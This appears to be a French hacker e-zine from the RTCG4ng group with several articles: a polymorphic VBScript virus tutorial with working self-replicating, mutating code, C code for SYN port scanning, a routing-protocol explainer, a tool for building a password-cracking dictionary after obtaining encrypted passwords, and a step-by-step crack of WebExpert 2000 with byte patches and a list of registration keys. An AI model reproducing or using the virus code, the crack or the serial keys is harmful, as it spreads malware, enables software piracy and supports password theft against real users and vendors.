Set DossierR = fso.GetFolder(Dossier)
Set fc = DossierR.Files
x = 0
For Each f1 In fc
x = x + 1
Next
If x <> 0 Then
x = Int(Rnd * x + 1)
s = 0
For Each f1 In fc
s = s + 1
HOho = fso.GetBaseName(f1.Name)
If s = x Then Exit For
Next
End If
'Cette procédure permet de créer une chaîne de caractère de longueur entre 3 et 11 et
'avec comme caractère des majuscules car 'le code ASCII est compris entre 25 et 90 .
'si il n'a pas trouvé de fichiers dans le dossier ou s'il a trouvé son nom
If Moi = HOho + ".vbs" Then x = 0
If x = 0 Then
longueur = Int(Rnd * 8) + 3
For n = 1 To longueur
m = Chr(Int(Rnd * 25) + 65) + m
Next
HOho = m
End If
End Function
--------------------------------------------------------------------------------------
A oui !!! J'ai oublié de vous dire que quand vous faites un virus en VBScript, n'oublier pas de le réduire au minimum.(supprimer les variables inutiles, les contantes, les lignes vides, les lignes d'arguments et les espaces inutiles, remplacer les noms des fonctions et celle des variables par des noms plus courts qui tiennent sur une ou deux lettres )C'est vrai qu'après le code n'est plus trop lisible. Je l'ai donc fait pour le code juste avant. Sa taille a été diminué de 3 passant de 4.35 Ko à 1.37 Ko.
Voici donc le code réduit au minimum : (on peut encore le réduire en remplacant certains entrées(qui prennent 2 octets) par des : )qui prennent 1 octet) )
--------------------------------------------------------------------------------------
Dim F,R,G,O,T
Randomize
Set F=CreateObject("Scripting.FileSystemObject")
O="essai.vbs"
G=H+".vbs"
F.CreateTextFile G
Set ts=F.OpenTextFile(G,2)
Set R=F.OpenTextFile(O,1)
Do
x=Int(Rnd*4+1)
If x=1 Then z=E
If x=2 Then z=U
If x=3 Then z=L
If x=4 Then z=K(10,20)
If x=5 Then z=vbCrLf
ts.WriteLine z
If R.AtEndOfStream=-1 Then Exit Do
Loop
ts.Close
R.Close
Function U
If R.AtEndOfStream=0 Then T=R.ReadLine
If Left(T,1)="'" Then U
If T="" Then U
If W=0 Then U
If Left(T,2)="O=" Then T="O="+""""+G+""""
U=T
End Function
Function W
For i=1 To Len(T)
If Mid(T,i,1)<>Chr(32) Then W=2:Exit For
W=0
Next
End Function
Function J(n,m)
For i=0 To (Int(Rnd*(m-n)+n))
J=Chr(14+Int(Rnd*241))+J
Next
End Function
Function K(n,m)
K=Space(Int(Rnd*(m-n)+n))
End Function
Function L
L=J(Int(Rnd*10),Int(Rnd*10)+10)
n=Int(Rnd*3)+1
If n=1 Then y=vbCrLf
If n=2 Then y=K(Int(Rnd*3),Int(Rnd*5)+3)
If n=3 Then y=""
L="'"+L+y
End Function
Function E
d=Int(Rnd*4)+1
For a=0 To d
E=E+vbCrLf
Next
End Function
Function H
Set c=F.GetSpecialFolder(0)
c=c+"\Recent"
Set D=F.GetFolder(C)
Set z=D.Files
x=0
For Each q in z
x=x+1
Next
If x<>0 then
x=int(Rnd*x+1)
s=0
For Each q in z
s=s+1
H=F.GetBaseName(q.name)
If s=x Then Exit For
Next
End If
If O=H+".vbs" then x=0
If x=0 then
H=""
b=Int(rnd*8)+3
For n=1 To b
H=Chr(Int(rnd*25)+65)+H
Next
End If
End Function
--------------------------------------------------------------------------------------
Si vous trouvez un moyen de le réduire encore plus, écrivez-nous à RTCgang@yahoo.fr pour nous dire ce que vous avez trouver.
SLy
///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
Le SYN Scanning
///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
Bon Par4noiD, vous avait expliqué le scanning de port par ouverture de socket complète. Le problème avec ce type de scanning est qu'il est très facilement repéré et est relativement lent. Une solution est le syn-scanning ou scan par demi ouverture de socket.
Une connection TCP socket se fait en trois étapes. Tout d'abord la demande de connexion qui se fait par l'envoie d'un paquet avec le flag SYN. Ensuite la réponse de l'hôte qui est soit, si le port est ouvert, un paquet avec les flags SYN et ACK, soit un paquet avec le flag RST. Puis le troisième, envoie qui ouvrela connexion est un paquet envoyé par le client avec le flag ACK.
Lors d'un SYN scanning on envoie un paquet SYN et on attend le paquet SYN+ACK ou RST. Cela permet de ne pas avoir à ouvrir une connexion et donc ne pas avoir à la fermer.
Cette méthode reste repérable mais pas avec les outils classique comme rtclog présenté dans le RtC Mag 1. Son principal avantage est que c'est le plus rapide des scans efficace (qui marche tout le temps) connus actuellement.
Un gros désavantage est l'obligation de la faire tourner en route car l'on doit construire ses paquet soit même.
Explication de la construction du paquet TCP.
Un paquet TCP est fait de la façon suivante :
0 15|16 31
|------------------------------------------------------------------------------|
| Numéro du port source (16 bits) | Numéro du port de destination (16 bits)|
|------------------------------------------------------------------------------|
| numéro de séquence sur 32 bits |
|------------------------------------------------------------------------------|
| numéro d'acquittement sur 32 bits |
|------------------------------------------------------------------------------|
| longueur de l'entête 4| 6 | flags 6 | taille de fenêtre sur 16-bits |
|------------------------------------------------------------------------------|
| checksum sur 16-bits | pointeur urgent sur 16-bits |
|------------------------------------------------------------------------------|
| options (s'il y en a) |
|------------------------------------------------------------------------------|
| données (s'il y en a) |
|------------------------------------------------------------------------------|
les flags sont, dans l'ordre : URG, ACK, PUSH, RST, SYN, FIN.
URG est la pour indique que le pointeur urgent est valide (il sert a indique la
fin des données urgentes dans le paquet)
ACK est la pour indique que le numéro d'acquittement est valide (numéro de
sequence du prochain paquet).
PUSH : pour que le gestionnaire réseau passe la trame le plus vite possible au
soft.
RST : réinitialise la connexion.
SYN : signal de synchronisation pour les numéro de séquence
FIN : fin de la connexion.
bon ben en gros on vas envoyer un paquet avec le port source et le port de dest et avec le flag SYN. Et on va attendre un paquet avec le flag RST ou avec les flags ACK et SYN (avec les bon numéro de port).
Bon ben maintenant le code qui fait ca pour un port (la totalité du code est dispo sur le site de la RtC TecH (www.chez.com/sl4sh)). La fonction send_tcp(le dite pas je l'ai piqué à phrack :) ) envoie simplement un paquet TCP avec un header personnalisé .
Le code :
int scan_port(long port, struct sockaddr_in *host, long scanport, long timeout)
{
int rc, tcpsock, rawsock;
fd_set rset;
struct timeval cur_time, beg_time;
struct sockaddr_in addr;
char buf[3000];
struct iphdr *ip = (struct iphdr *) buf;
struct tcphdr *tcp = (struct tcphdr *) (buf + sizeof(struct iphdr));
host->sin_port = htons(port);
/* SYN scanning */
FD_ZERO(&rset);
rawsock=socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
tcpsock=socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
FD_SET(tcpsock, &rset);
/* sending a SYN packet */
memcpy(&addr, host, sizeof(addr));
gettimeofday(&beg_time,NULL);
tcp_send(tcpsock,&addr,
localhost_addr,addr.sin_addr.s_addr,
scanport,port,
TH_SYN,
lrand48()+1, lrand48(),
512,
NULL,
0);
/* check for reply */
if(FD_ISSET(tcpsock,&rset))
{
gettimeofday(&cur_time, NULL);
while(
(recvfrom(tcpsock,&buf,3000,0, NULL,0)>0)
&& (timeout > DIFFTIME(beg_time, cur_time))
)
{
if ((ip->saddr == host->sin_addr.s_addr) && (ntohs(tcp->th_sport)==port) && (ntohs(tcp->th_dport)==scanport)) /* got a reply */
{
close (tcpsock); close (rawsock);
if(tcp->th_flags & TH_RST) return 0; /* port closed */
else if(tcp->th_flags & TH_SYN && tcp->th_flags & TH_ACK) return 1; /* port opened */
else return -2; /* port error */
}
gettimeofday(&cur_time, NULL);
}
}
else rc = -1;
close(tcpsock);
close(rawsock);
if(rc>0) return -1; /* time out */
else return -2; /* error */
}
<-- File by S/asH -->
[EOF]
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
Le RoutAge DynamIQue, et ses ProCeSSuS : PART I
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
Premièrement, qu'est ce que le routage?
Pour faire pas trop compliqué, lorsqu'une machine se connecte à Internet, alors
elle se connecte à un serveur. Jusque là ça va... Lequel serveur possède une
base de données que l'on appelle Table de Routage. Cette table possède différentes
entrées et sorties. Vous n'êtes pas sans savoir que dans chaque datagramme IP, se
situe l'adresse IP de l'envoyeur et du destinataire. Le serveur à cette occasion,
lorsqu'il aura reçu un paquet envoyé par A, va vérifier si l'adresse destinatrice
B est contenue dans sa table de routage. En général non, donc le serveur renvoie
le paquet à un autre serveur, en s'étant assurer au préalable que ce serveur était
situé sur la même portion du réseau que la cible du datagramme IP.
Prenons un petit exemple:
A -----------------------------------------> B
(198.23.25.36) (145.23.89.78)
Dans ce cas, il existe un détail (et même de nombreux) de cette connexion simple.
A -------------------> Routeur ------------> B
(198.23.25.36) (125.56.85.96) (145.23.89.78)
En gros, c'est ça, seulement là où je ne met que 1 Routeur, il y en a généralement
5 ou 6 voir plus en fonction de la cible.
Note:
A ce propos, lorsque vous utilisez TRACERT.EXE qui est un utilitaire de traçage de
route basé sur des transissions ICMP: (cf ICMP my Friend from SnEaKie) vous verrez
si vous spécifiez une adresse au hasard que celle ci n'existe pas, la réponse
négative des routeurs se fera au bout de, 8 voir même plus, routeurs. Ceci étant
dû au fait que les tables de routages se redirigent, ce qui implique qu'une machine
cible peut être joignable au bout de 30 routeurs si celle-ci est peu utilisée,
située sur une portion de réseau qui figure dans peu de tables de routage.
On distingue cependant plusieurs types de routages, le routage dynamique dont on
va parler ici, le routage statique, le routage direct ou indirect. Le routage
statique ne s'opère qu'entre les routeurs, c'est à dire que l'on l'appelle routage
dans le sens où il y a échange de données entre différents routeurs, en fait ils
échangent des informations régulières sur l'état des réseaux. Ce qui a pour but de
déceler toute annomalie dans les transmissions. Imaginons que A veuille joindre B
et que pour cela, Le Routeur R1 doit joindre R2, qui doit joindre à son tour R3, etc
jusqu'à R10 qui est en panne: résultat pas de paquet pour B, grâce au routage
dynamique, R9 sera averti que R10 est en panne, il va mettre (R9) une croix sur
momentanée sur R10 dans sa table de routage et va travailler sans lui. Cependant,
pour fournir un service satisfaisant, R9 va chercher un R10 de remplacement que
possède l'adresse cibleB (145.23.89.78) dans sa table de routage, quite à devoir
joindre un R10 puis un R11, jusqu'à R19 si il le faut.
Remarque: il aurait pû être possible d'envoyer un message ICMP à R10 par R9 pour
connaître l'état de sa connexion, seulement les routeurs sont limités en ce qui
concerne les messages ICMP car ceux-ci entraîneraient un trafic trop important sur
le réseau et feraient saturer les connexions.
On distingue trois protocoles de routage dynamique; RIP le plus ancien, OSPF, et BGP.
======================================
A) RIP, Routing Information Protocol
Celui-ci est très utilisé dans le routage de passerelle interne. RIP a été développé
pour être opérationnel sous UNIX de Berkeley: pas mal! Un routeur RIP envoie des
diffusions UDP sur le port 520 pour échanger des informations de routage avec les
autres routeurs. On distingue deux types de messages dans RIP: les requêtes et les
réponses. Quand un routeur s'initialise, il fait une diffusion de requêtes RIP à
partir de chaque interface réseau. Ces requêtes demandent tout simplement aux autres
routeurs de répondre dans un message réponse qui contiendra leurs tables de routage.
Système Autonome 1
|-----------------------------|
| |------| |------| |
| | P1 |==========>| P2 | |
| |------| |------| |
| | | |
| | Protocoles de | |
| | passerelles | |=================>Protocoles de passerelles
| | internes | | externes
| | | | |
| | | | |
| | | | |
| |------| | | |
| | P3 |==============| | |
| |------| | |
| | |
|-----------------------------| |
|-|
Système | Autonome 2
|-----------------------------|
| |------| |------| |
| | P4 |==========>| P5 | |
| |------| |------| |
| | | |
| | | |
| | Protocoles de | |
| | passerelles | |
| | internes | |
| | | |
| | | |
| |------| | |
| | M1 |==============| |
| |------| |
| |
|-----------------------------|
Rem: RIP ne sert qu'à ces passerelles internes c'est à dire à l'intérieur des
domaines, alors que les protocoles de passerelles externes servent eux au
routage externe: c'est à dire entre les domaines.
======================================
RIP, Routing Information Protocol
Un seul message RIP (de la version 1) peut contenir 25 routes, chacune de ces
routes augmente de 20 octets la taille du paquet.
|------------------------------------------------------------------------------|
| Commande (1 octet)| Version (1 octet) | Non utilisé (2 octets) |
|------------------------------------------------------------------------------|
| Identificateur d'adresse (2 octets) | Non utilisé (2 octets) |
|------------------------------------------------------------------------------|
| Adresse IP (2 octets) |
|------------------------------------------------------------------------------|
| Non Utilisé (4 octets) |
|------------------------------------------------------------------------------|
| Non Utilisé (4 octets) |
|------------------------------------------------------------------------------|
| Metrique (4 octets) |
|------------------------------------------------------------------------------|
Voici l'en-tête ou le header d'un paquet RIP version1.0.
J'ai le sentiment que quelques petites explications sont à apporter, tout ne
parle pas de lui-même!
Commande (1 octet) : VALEUR 1 ==> REQUETE : Ce code est utilisé pour une requête
d'infos de table de routage.
VALEUR 2 ==> REPONSE : Permet de transmettre les infos de
routage ou de mise à jour.
VALEUR 3 ==> TRACEON : Marche plus!
VALEUR 4 ==> TRACEOFF: Marche plus non plus!
VALEUR 5 ==> POLL : Utilisé par quelques utilitaires et
est utilisé pour des tests ou des
dépannages: bon à essayer!
VALEUR 6 ==> POLL-ENTRY : Idem POLL.
Identificateur d'adresses (2 octets) : Le format des messages RIP permet des
infos de routage pour d'autres protocoles que IP. Ce champ contient un code
identifiant le protocole (valeur 2 pour IP).
Adresse IP (4 octets) : CE champ identifie un réseau ou un hôte atteint par le
trafic de routage à travers le système de passerelle générant le message RIP.
Métrique (4 octets) : Ce champ indique le nbre de sauts nécessaires pour
atteindre la destination indiquée dans le champ de l'adresse IP.
Voilà pour RIP, mais il faut savoir qu'il en existe 2 versions; RIP v.1
ainsi que RIP v.2. Alors là quelle est la question qu'on se pose, " Quelle est
la différence entre les deux?"
Simple, pour répondre à cette question, on regarde le fonctionnement de RIPv.1
et celui de RIPv.2 ==> En fait RIPv.1 est totalement incapable d'inclure les
masques de sous-réseau pour les adresses IP qui sont indiquées dans les routes.
Le pb réside dans le fait qu'un routeur est dans l'impossibilité (logique
d'ailleurs) de faire la différence entre une adresse IP d'1 hôte simple comme
moi, ou une IP d'un réseau avec un masque de sous-réseau.
De plus, RIPv.2 apporte quelques solutions aux pbs de la v.1. Le format de
paquets de RIPv2 est le même que RIPv1 à l'exception près que RIPv2 tend à
utiliser les données libres se trouvant dans le champ de données non-utilisées.
De ce fait les systèmes ne pouvant recevoir que les RIPv1 reçoivent RIPv2 en
ignorant les données supplémentaires. RIPv2 a aussi été développé dans
l'optique d'éviter les pbs de transmissions excessives: par ex, il active les
transmissions multicast (multi-destinataires) de façon a éviter que les
systèmes non-RIP envoient les messages de routage.
Bon, je vais qd même vous filer le format du message RIPv2, (mais faites-en
bon usage,MDR!)
|------------------------------------------------------------------------------|
| Commande (1 octet)| Version (1 octet) | Domaine de routage (2 octets) |
|------------------------------------------------------------------------------|
| Identificateur d'adresse (2 octets) | Marqueur de route (2 octets) |
|------------------------------------------------------------------------------|
| Adresse IP (2 octets) |
|------------------------------------------------------------------------------|
| Masque de sous-réseau (4 octets) |
|------------------------------------------------------------------------------|
| Adresse IP du saut suivant (4 octets) |
|------------------------------------------------------------------------------|
| Metrique (4 octets) |
|------------------------------------------------------------------------------|
Petite explication des nouveaux champs de données:
Domaine de routage(2octets): Ce champ contient une valeur identifiant le
processus de routage utilisé par ce message. Un système recevant un mess RIP
avec une value de domaine de routage différente du sien détruit le paquet.
Par défaut value = 0.
Marqueur de route(2 octets): Ce marqueur transporte un numéro de système
autonome qui permet à RIP d'interagir avec les protocoles de passerelles
externes comme EGP ou BGP.
Masque de sous-réseau(4 octets); Le masque de sous-réseau est appliqué au champ
adresse IP pour que les système soit capable d'identifier le sous-réseau.
Adresse IP du saut suivant(4octets): Ce champ identifie l'interface de
passerelle par laquelle le trafic (destiné au système indiqué par le champ
adresse IP) doit être envoyé.
RIPv2 contient aussi une option qui oblige les messages de routage à être
authentifiés avant d'être envoyés.
======================================
B) OSPF, Open Shortest Path Protocol
Pour faire simple, disons que RIP v1 et v2 sont efficaces mais sont
contreversés. Disons qu'ils sont efficaces dans la mesure où le calcul
d'une route basée sur le nombre de sauts est souvent correcte mais peut se
révéler très contraignante. Je m'explique enfin, disons que grâce à RIP vos
paquets vous arrivent mais il se peut très bien que ce type de routage soit
très problématique en ce qui concerne la bande passante. Pour un seul saut
peut correspondre par ex., 2 segments Ethernet, un PPP lent ou encore tout
autre type de réseau qui oblige les MTU a être remis à jour perpétuellement...
Résultat, fiable mais non-fiable!
Pour resoudre ce pb, on parle alors de "routage à état de liens", cette
méthode permet d'informer régulièrement les routeurs d'autres réseaux
interconnectés. Disons que les routeurs testent les connexions avec les
autres routeurs et sauvegardent les infos dans une base données qui est
ensuite envoyée gracieusement sur les réseaux interconnectés. De ce fait,
quand les informations sur l'état des liens sont transmises aux autres
routeurs, le chemin le plus court est facilement déterminé. Par lasuite chaque
routeur construi sa table de routage d'après les infos reçues. OSPF, par
rapport à RIP, est bien meilleur en ce qui concerne les changements de route
de dernière minute due à une panne de seuveur ou autre. Non seulement ça, mais
il a aussi d'autres avantages:
Equilibrage des charges: Quand deux ou plusieurs routes vers la même
destination possèdent la même métrique, OSPF répartit le trafic sur ces
différentes routes pour éviter un goulet d'étranglement sur l'une des routes.
Authentification: Tous les messages OSPF sont tenus d'être authentifiés par
défaut avant d'être traités par le destinataire. Un champ type d'authentification
définit le type d'authentification à utiliser.
Sous-réseau: OSPF comporte un masque de sous-réseau pour les adresses IP de
chaque route.
Zone OSPF: Un système autonome peut contenir des sous-ensembles de réseaux
appelés zones OSPF. Ils sont traités comme des domaines de routage, séparés du
rste du système autonome.
Infos de routage externe: OSPF peut assimiler les infos de routage obtenues
par des sources externes comme des routes statiques. Les donées de routage
externe sont envoyées vers tous les autres routeurs OSPF.
Routage basé sur TOS: Les bases de données OSPF peuvent gérer des infos de
routage pour chaque type de services indiqués dans l'en-tête IP.
http://www.rtcgang.fr.st | http://www.rtc.fr.st ==> Et vive REDOXXXXXXXXXXXXXX!!
///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
RTCDictionnary
///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
Vendredi 28 juillet, 17h, je reçois un appel de Par4noID. On parle du RTCG4ng, de choses et d'autres, de différents projets... Puis nous en arrivons à parler des dictionnaires. Explications. Il y a quelques mois, S/ash avait réussi à obtenir une liste de mots de passe cryptés. Problème ? Il fallait les décrypter. Pour ce faire, S/ash avait à sa disposition Crackerjack, un décrypteur. Jusque là tout allait bien. Mais il lui fallait un dictionnaire, un dictionnaire français. S/ash, en bourrin fini, avait suggéré de créer un dictionnaire en prenant en compte toutes les possibilité mais après un rapide calcul, son dictionnaire aurait fait plus de 20 Go, la galère...
Nous parlions donc de ceci et puis Par4noID suggère que ce serait bien si on pouvait faire ce dictionnaire en français. En effet, les dictionnaires anglais sont très courants mais les français sont tout simplement inexistants. Par4noID étant très occupé, il me charge de trouver la solution. Je m'y met le soir même. Mes recherches se sont portés directement sur un produit mikrokro très connu qui contient un traitement de texte que nous surnommerons Mot pour des raisons évidentes de sécurité, ce logiciel tenant à garder l'anonymat. Pour ceux qui ne le savent pas, dans Mot, il y a un correcteur orthographique. Le but était donc de trouver le fichier où était stocké tous les mots. Après une heure de vaines recherches, j'ai essayé autre chose.
Il nous fallait un dictionnaire, et bien utilisons un vrai dictionnaire. Il se trouve justement que le CD d'installation de ce logiciel en contenait un. Je me mis alors à la recherche de la liste de mots... Tiens, un fichier de 85 Mo. Je l'ouvre et ô surprise, je trouve ce que je cherchais. Enfin presque. Le principal y était, il y avait la liste complète mais avec plein de caractères barbares. En voici un petit extrait :
Ä...Ê8guèbre Ê8guède óÊ8guéer IÊ8guéguerre ¯Ê8guelfe Ë8guelte Ë8guenille Ë8guenon Ë8guépard Ë8guêpe þË8guêpier ¸Ë8guêpière Ë8guère Ë8guéret ÀË8guéridon S
Ë8guérilla Ë8guérillero ³Ë8guérir Ë8guérison riserie Í Ï kË8guérissable ·Ë8guérisseur ÜË8guérite Ë8guerre <Ë8guerrier (adjectif) ÞË8guerrier (nom masculin) yË8guerroyer Ë8guet Ë8guet-apens Ì8guêtre á Ì8guêtrer RÌ8guêtron (tm)Ì8guette (nom féminin) Ì8guette (nom féminin) 'Ì8guetter ¯Ì8guetteur NÌ8gueulante %Ì8gueulard (adjectif) Ì8gueulard (nom masculin) CÌ8gueule Ì8gueule-de-loup
Quand je vous disais que c'était barbare... Mais heureusement, Androgyne est arrivée. J'ai alors concocté un petit programme Pascal qui était chargé d'extraire la liste ou en tout cas de faire le maximum de tri. Voici ce programme que j'ai appelé RTCWord. Je l'ai amélioré pour vous. Il s'utilise de la manière suivante : RTCWord NomDuFichierSource NomDuNouveauFichier. Le fichier doit être un fichier text ou doit contenir du text. Il extrait tous les mots ou toutes les phrases et passe à la ligne une fois qu'il y a un caractère barbare. Il ne garde que les chaines de plus de 2 caractères.
--------------------------------------------------------------------------------------------
uses crt,dos;
var
Source,NewFile:text;
c:char;
SourceName,NewFileName,Chaine:string;
begin
clrscr;
writeln('<<<RTCWord 1.01>>> by Androgyne from the RTCG4ng');
writeln('');
if ParamCount=2 then begin
assign(Source,ParamStr(1));
assign(NewFile,ParamStr(2));
end else begin
repeat
write('> source file : ');
readln(SourceName)
until (SourceName<>'');
assign(Source,SourceName);
repeat
write('> destination file : ');
readln(NewFileName)
until (NewFileName<>'');
assign(NewFile,NewFileName);
end;
{$I-}
reset(Source);
{$I+}
if IOResult<>0 then begin
writeln('Error ! Source file does not exist !');
halt;
end;
rewrite(NewFile);
while not (eof(Source)) do begin
chaine:='';
read(Source,c);
while ((Upcase(c) in ['A'..'Z']) or
(ord(c) in [$E0,$E2,$E4,$E9,$E8,$EA,$EB]) or
(ord(c) in [$EC,$EE,$EF,$F2,$F4,$F6,$F9,$FB,$FC]) or
(ord(c) in [$2C,$2E,$3B,$3A,$21,$3F,$20]) or
(ord(c) in [$E7,$27,$22,$2D,$B0,$28,$29,$2F,$5C]) or
(ord(c) in [$30,$31,$32,$33,$34,$35,$36,$37,$38,$39])) do begin
Chaine:=Chaine+c;
read(Source,c);
end;
if (length(chaine)>2) then begin
writeln(NewFile,Chaine);
writeln(Chaine);
end;
end;
close(Source);
close(NewFile);
writeln('OK ! That''s all folks !');
end.
--------------------------------------------------------------------------------------------
Les listes après "ord(c) in" représentent les lettres accentuées (1ère et 2ème), les signes de ponctuation (3ème), d'autres signes cabalistiques tels que ç ou ' (4ème) et les chiffres (5ème).
Ce programme peut largement être amélioré mais ce n'est déjà pas mal. En tout cas, il m'a permit d'extraire le dictionnaire du bordel qu'il y avait en haut. Aujourd'hui, samedi 29 juillet, un peu plus de 24 heures après l'appel de Par4noID, le dictionnaire est prêt. Je tiens à dire qu'il m'a quand même fallu 3 heures pour enlever manuellement ce qui n'avait pas lieu d'être. Ce dictionnaire fait environ 950 pages et compte pour l'instant plus de 56000 mots. Ne faites pas attention si certains sont répétés plusieurs fois ou s'il reste des bribes incompréhensibles, il y en a qui ont pu m'échapper.
Et voilà, vous pourrez trouver le dictionnaire complet, RTCDictionnary.txt avec le m4g ainsi qu'un add-on RTCCalendar.txt contenant 588 noms du calendrier, ça peut toujours servir. Je vous ai mis également la version compilé de RTCWord. Si vous voulez rajouter des noms par exemple, envoyez un mail, toujours à la même adresse RTCgang@yahoo.fr...
By Androgyne
///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
Le Soft-Cracking: PArt
I
///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
Bon le soft dont il s'agit est WebExpert 2000. Un chouette outils d'édition HTML (vous pouvez le trouver sur www.visic.com). Tout d'abord, on va lancer le soft pour voir comment il fonctionne :
Les info s'affiche... Tiens un bouton s'enregistrer. On clique dessus... La fenêtre d'enregistrement... bon on lui envoie n'importe quoi (je lui ai dit que mon chien était mort, il a pas apprécié). Bon, ben maintenant, avec SoftIce en fond (très bon outils de deboggage de NuMega), je refais la même chose avec un chtit Ctrl-D au bon momment (juste après l'appuis sur le bouton ok) nous permet de déclencher SoftIce. Bon on se retrouve dans un sale module du type USER32!dll (c'est marqué en-dessous de la fenêtre de code de SoftIce)... Pas grave en faisant du Step Over (F10 ou p) on retourne dans le module WEXPERT4 (celui qui nous interresse).
On est donc juste derrière un call :
0167:00461607 CALL 0045B7D4
0167:0046160C MOV EAX, [EBP-0C]
0167:0046160F MOV EDX, [EAX]
>0167:00461611 CALL [EDX+0000D8]< Ici
0167:00461617 MOV [EBP-08], EAX
0167:0046161A XOR EAX, EAX
Bon, on met un break point à cet endroit par bpx 0167:00461611 (faite pas gaffe aux adresses, il se peut que vous n'ayez pas les mêmes. Bon, Ctrl-D, on revient à la boîte d'enregistrement, rebelote et bingo on retombe dessus à chaque appel. Il s'agit donc de l'affichage de la boîte. Bon, ben on continue les F10, après chaque instructions RET, on regarde le call qui correspond et on pose des breakpoints. Voila donc les deux autres breakpoints que j'ai posé :
0167:004615AB MOV DL, [EBP-01]
>0167:004615AC CALL 00460FDC < Ici
0167:004615B1 MOV [EBP-0C], EAX
et
0167:0067511B MOV DL, 02
>0167:0067511D CALL 0046154C < Ici
0167:00675122 XOR EAX, EAX
Bon, après quelque relance je me rends compte que c'est les bons. Donc j'espionne le code autour du 2ème call (le premier appelé). Et je trouve deux sauts. Dont l'un passe au-dessus de l'autre que passe au-dessus du call. C'est le suivant :
0167:00675009 CALL 00460FDC
>0167:0067500E JNZ 006750F0 < Ici
0167:00675014 MOV EAX, [00707578]
Ben, je pose un breakpoint. Je remarque qu'il est toujours appelé dans les bonnes conditions.bon maintenant, je fais Ctrl-D sous WebExpert.
je tape BL pour obtenir la liste des breakpoints, ca me donne :
(00) BPX 0167:00461611
(01) BPX 0167:004615AC
(02) BPX 0167:0067511D
(03) BPX 0167:0067500E
Bon ben je veut que le seul breakpoint actif soit le 04, ben je tape bd 00 <enter> bd 01 <enter> bd 02 <enter> (bd est pour désactiver un breakpoint, be pour faire l'inverse et bc pour le supprimer) voilà maintenant quand je tape bl les breakpoint 00, 01 et 02 on une étoile à côté pour indiquer qu'ils sont désactivés. Bon maintenant on va éditer la ligne du saut pour qu'elle se comporte à l'inverse de ce qu'elle devrait faire pour cela on tape A 0167:0067500E pour l'éditer. et là on tape le nouveau code :
JZ 006750F0
Et enter à la ligne suivante pour dire qu'on à terminer. On fait Ctrl-D et on va clique pour l'enregistrement, on met n'importe quoi... Ok... On fait Ctrl-D pour passer le breakpoint... Bingo... ca marche... Bon maintenant, on va chercher les modifs a faire dans le fichier pour que ca marche. Déjà par défaut le saut fonctionne. ben on va le remplacer par des non operand (nop : ne fait rien : 0x90). on voit grâce aux addresses qu'il fait 6 octets, ce sera donc 6 nops
(0x014 - 0x00E = 0x006)
Bon maintenant faut pouvoir le trouver... Donc on veut voir le code hexa du saut et des alentours, on fait D 0167:006750CE (pour voir un peu avant), ca nous donne (seulement la partie qui nous interresse) :
E8 6D 1C DD FF 8B 55 B4-8B 45 FC E8 12 F2 D8 FF
0F 85 DC 00 00 00 A1 78-75 70 00 C6 00 00 8D 45
^^^^^^^^^^^^^^^^^
FC 50 8D 55 B0 8B 83 D4-02 00 00 E8 42 1C DD FF
Donc ce sont les 6 octets soulignés qu'il faut remplacé par des 90 C'est bon maintenant, on peut désactiver le breakpoint et partir de Soft-Ice.
Mais je relance WebExpert et il ne bronche pas, je suis toujours enregistrer. Merde, il sauvegarde pas la clef ? Bon ben kewl.. J'ai chercher dans les fichiers de conf de WebExpert, y'a nada. Bon ben la base de registre. Wouah... Deux valeurs toutes seules
dans la clef :
HKEY_LOCAL_MACHINE\SOFTWARE\Visicom Media\WebExpert v4\WebExpert
Elles sont nommée Usager et Format. Bon regarde ce qu'il y a dedans :
Cool, le nom de l'usager en binaire et un truc qui ressemble à une clef d'enregistrement en binaire. Il s'agit en effet de la clef d'enregistrement correspondant à l'usager stocker dans Usager. Bon, Je reparle de ca après. Pour modifier le fichier, on recherche la trame hexa précedente (ou seulement un bout), dans le fichier wexpert4.exe (attention il faut qu'il n'y ait aucune ambiguité, c'est
à dire que la chaine hexa recherchée ne se trouve qu'à un endroit dans le fichier). Pour ma part j'utilise UltraEdit-32 pour faire ça.
Bon, et on remplace 0F 85 DC 00 00 00 par 90 90 90 90 90 90.
Cette trame se trouve au 2573326ème octets dans le fichier. Voilà le fichier à merger dans RTC Patcher pour pouvoir patcher WebExpert4 avec RTC Patcher :
<-- begin wexpert4.dat -->
[WebExpert 2000 (4.00.5) Crack by S/asH]
NbFile=1
File0=WExpert4.exe
BackupFile0=WExpert4.bak
NbChange0=1
ChangeLocation0_0=2573326
Change0_0=909090909090
<-- end wexpert4.dat -->
Bon, revenons aux codes stocker dans la registry. Il se trouve que wexpert se fie à son premier jugement et soque donc la chaine qui lui à permis de voir si l'utilisateur était ok. C'est une très mauvaise méthode de protection (et dire que je me suis emmerdé sur des softs 10 fois plus merdiques que celui-là).
Bon, ben grâce à celui-là j'ai généré toute une série de clefs, qui peuvent nous permettre de faire du RE et créer un keygenerator. Une autre solution pour faire ce RE est de regarder dans le code (je n'ai pas eu le temps de le faire et à quoi bon...), il s'agit de la fonction appelée juste avant notre fameux saut.
Voilà la liste des codes :
Nom key
0 CFDN-PFDJ-PZAZ-ZZZZ
1 3SWA-VKNH-KF2Z-ZZZZ
2 F8C4-UL3H-XCCZ-ZZZZ
3 XZKW-MJGE-J3UZ-ZZZZ
4 HMBP-BPHA-VK2Z-ZZZZ
5 AEGQ-MX2A-XNMZ-ZZZZ
6 VCSJ-MMZF-7VPZ-ZZZZ
7 DHVW-CHG5-DAYZ-ZZZZ
8 HZPJ-RT6D-ZRMZ-ZZZZ
9 HQVM-RXBH-PMWZ-ZZZZ
a HSHH-VSCW-4BQZ-ZZZZ
b GUKZ-RSET-HTEZ-ZZZZ
c TNW5-4ATN-9MYZ-ZZZZ
d VFPF-ABZU-PMGZ-ZZZZ
e PRTY-XDNR-EA6Z-ZZZZ
f HRMT-SADM-FE2Z-ZZZZ
g 522E-CALJ-Z8AZ-ZZZZ
h AMVV-TVHU-IPAZ-ZZZZ
